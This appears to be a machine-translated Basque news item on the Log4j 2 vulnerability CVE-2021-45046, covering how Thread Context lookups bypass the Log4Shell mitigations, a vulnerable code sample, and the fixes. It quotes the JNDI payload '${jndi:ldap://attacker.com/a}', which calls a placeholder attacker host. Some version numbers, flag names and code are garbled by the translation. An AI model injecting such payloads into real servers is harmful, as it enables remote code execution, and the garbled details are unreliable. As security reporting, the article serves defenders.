Log4j 2-rako eraso-aukera berri bat babes gehigarria saihesteko aukera ematen duena

Log4j 2 liburutegian (CVE-2021-45046) JNDI bilaketak ezartzean beste ahultasun bat identifikatu da, 2.15 bertsioan konponketak gehitu arren eta babeserako "log4j2.noFormatMsgLookup" ezarpena erabili arren agertzen dena. Arazoa arriskutsua da batez ere Log4j 2-ren bertsio zaharragoentzat, "noFormatMsgLookup" marka erabiliz babestuta, aurreko ahultasunen babesa saihesteko aukera ematen baitu (Log4Shell, CVE-2021-44228), zure kodea exekutatzeko aukera ematen baitu. zerbitzaria. 2.15 bertsioko erabiltzaileentzat, erabilgarri dauden baliabideak agortzeagatik aplikazioa hutsegitera mugatzen da ustiapena.

Zaurgarritasuna erregistrorako Testuinguru-bilaketak erabiltzen dituzten sistemetan bakarrik agertzen da, hala nola ${ctx:loginId}, edo MDC txantiloietan (Thread Context Map), hala nola %X, %mdc eta %MDC. Eragiketa erregistroan JNDI ordezkapenak dituzten datuak ateratzeko baldintzak sortzean datza, erregistroan irteera formateatzeko arauak definitzen dituzten aplikazioan testuinguru-kontsultak edo MDC txantiloiak erabiltzean.

LunaSec-eko ikertzaileek adierazi dutenez, 4 baino gutxiagoko Log2.15j-ren bertsioetarako, ahultasun hori Log4Shell-en erasorako bektore berri gisa erabil daiteke, kodea exekutatzeko, baldin eta kanpoko datuak biltzen dituzten ThreadContext esamoldeak erabiltzen badira erregistroko irteeran, edozein dela ere. "protect" bandera gaituta dago. noMsgFormatLookups" edo "%m{nolookups}" txantiloia.

Log4j 2-rako eraso-aukera berri bat babes gehigarria saihesteko aukera ematen duena

Babesa saihestuz, "${jndi:ldap://attacker.com/a}"-ren ordez zuzenean ordezkatu beharrean, adierazpen hau erregistroko irteera formateatzeko arauetan erabiltzen den tarteko aldagai baten balioaren bidez ordezkatzen da. . Adibidez, ${ctx:apiversion} testuinguru-kontsulta erabiltzen bada erregistrora irtetean, orduan erasoa egin daiteke "${jndi:ldap://attacker.com/a}" datuak ordezkatuz. apiversion aldagaian idatzitako balioa. Kode zaurgarriaren adibidea: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // "X-Api-Version" HTTP goiburuko balioa ThreadContext ThreadContext.put("apiversion) ", apiVersion ); // Erregistrora ateratzean, kanpoko apiversion balioa ${ctx:apiversion} ordezkapena erabiliz prozesatu egingo da logger.info("API bertsiorako eskaera bat jaso da"); itzuli "Kaixo, mundua!"; }

Log4j 2.15 bertsioan, ahultasuna DoS erasoak egiteko erabil daiteke ThreadContext-era balioak pasatzen direnean, irteerako formatua txantiloiaren prozesamenduan begizta bat sortuz.

Log4j 2-rako eraso-aukera berri bat babes gehigarria saihesteko aukera ematen duena

Ahultasuna blokeatzeko, 2.16 eta 2.12.2 eguneraketak argitaratu ziren. Log4j 2.16 adarrean, 2.15 bertsioan inplementatutako konponketez eta JNDI LDAP eskaerak "localhost"rekin lotzeaz gain, JNDI funtzionaltasuna guztiz desgaituta dago lehenespenez eta mezuak ordezkatzeko txantiloietarako laguntza kentzen da. Segurtasun konponbide gisa, JndiLookup klasea klase bidetik kentzea iradokitzen da (adibidez, "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .

Paketeetako konponketen itxuraren jarraipena egin dezakezu banaketaren orrietan (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) eta Java plataformaren fabrikatzaileen (GitHub, Docker, Oracle, vmWare, Broadcom eta Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, etab.).

Iturria: opennet.ru

Gehitu iruzkin berria